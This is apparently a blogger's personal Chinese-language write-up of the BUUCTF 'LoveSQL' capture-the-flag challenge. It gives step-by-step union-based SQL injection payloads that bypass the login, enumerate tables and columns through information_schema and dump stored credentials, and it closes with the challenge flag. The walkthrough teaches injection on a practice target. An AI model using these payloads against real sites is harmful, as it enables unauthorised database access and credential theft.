buu [极客大挑战 2019]LoveSQL 1

  • Post author:
  • Post category:其他




buu [极客大挑战 2019]LoveSQL 1 -刷题个人日记

小白一个,写给自己看。

进去后是这样:

在这里插入图片描述
用户名输入

1



1'

测试

发现

1'

报错

在这里插入图片描述
有sql语法错误,说明有sql注入点且后台数据库是MariaDB

用户名输入sql注入基本公式:

1' or 1=1;#


在这里插入图片描述

结果:

在这里插入图片描述

3bba40d66c98e28cf3bac11b45edbbab

像是md5编码,试试解码后不行。

可能flag在其他表里,我们要知道有哪些表且表的属性有哪些。

慢慢来,payload:

check.php?username=admin' order by 3%23&password=1


%23



#

的意思,因为是url 所以要url编码

没反应,继续。

check.php?username=admin' order by 4%23&password=1

报错:

在这里插入图片描述

说明有3列,3个属性。

说说这样构造的原因。我看过其他人的wp,在密码上也写了

1' or 1=1;#

,但这其实不影响什么。只要在用户名上注入成功就会显示

在这里插入图片描述

但密码不能为空,我猜测试会用isset()函数之类的验证并且只要这个后台sql语句为真就会固定返回上面这两个字符串。所以用

username=admin'

并且注释掉后面(后面应该是密码验证)就可以永真,就一定可以返回

Login Success!

,这也是密码可以随便填的原因。

继续:

check.php?username=1' union select 1,2,3%23&password=1

在这里插入图片描述

说明只回显第2,第3列。第一列就可能是主码id之类的,这不重要。重要的是我们只要把查询的信息放在第2或第3列就行。

说说这样构造的原因。

username

等于什么无所谓,不等于admin就行。然后联合查询1,2,3得出结果,可以说明第2列存的是用户名信息,第3列存的是密码信息。至于为什么这样查询会得出这样的结果,我还不知道。可能是这样查询就会得出这样的结果的原因,没有为什么8。

继续:

check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述

说明有两个表:

geekuser

表和

l0ve1ysq1

表。

先说说这样构造的原因。

check.php?username=1' union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23&password=1

我们把表显示在第3列,所以用语句取代3。

  1. group_concat() 用于一个集合显示括号里的信息。简单来说就是一个空(第3列)里显示多组信息。
  2. table_name:表
  3. information_schema:简单来说就是数据库结构的集合,可以是表,列等等。这里后面接.tables就是数据库的表
  4. table_schema:数据库
  5. database():获取数据库信息的函数。

现在先看第一个表

geekuser

check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser' and table_schema=database()%23&password=1

结果:

在这里插入图片描述

  1. column_name:列名
  2. information_schema.columns:数据库的列
  3. table_name:表名


geekuser

首尾别忘了加单引号。

就和我之前推理的一样,第2列存的是用户名信息,第3列存的是密码信息。

看看里面都存了什么:

check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

在这里插入图片描述

  1. id=

    1
  2. username=

    admin
  3. password=

    3bba40d66c98e28cf3bac11b45edbbab

和我们第一次注入成功后显示页面的用户名和密码相同。

那flag就在第二个表

l0ve1ysq1

里:

check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' and table_schema=database()%23&password=1

和表1一样:

在这里插入图片描述

check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

滑到后面可以看到flag。(可以把id,username去掉只显示password减短字符串。)

flag{e66052e6-31a3-4057-9a3e-5d8e6aff1f40}

参考


[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)

这是篇写给自己的日记,因为只有自己写得出来而且能让读者看懂才能是真的明白了。写之前我以为我是明白的,写完后才算是真正明白了,写这就是个融会贯通的过程。



版权声明:本文为weixin_45642610原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。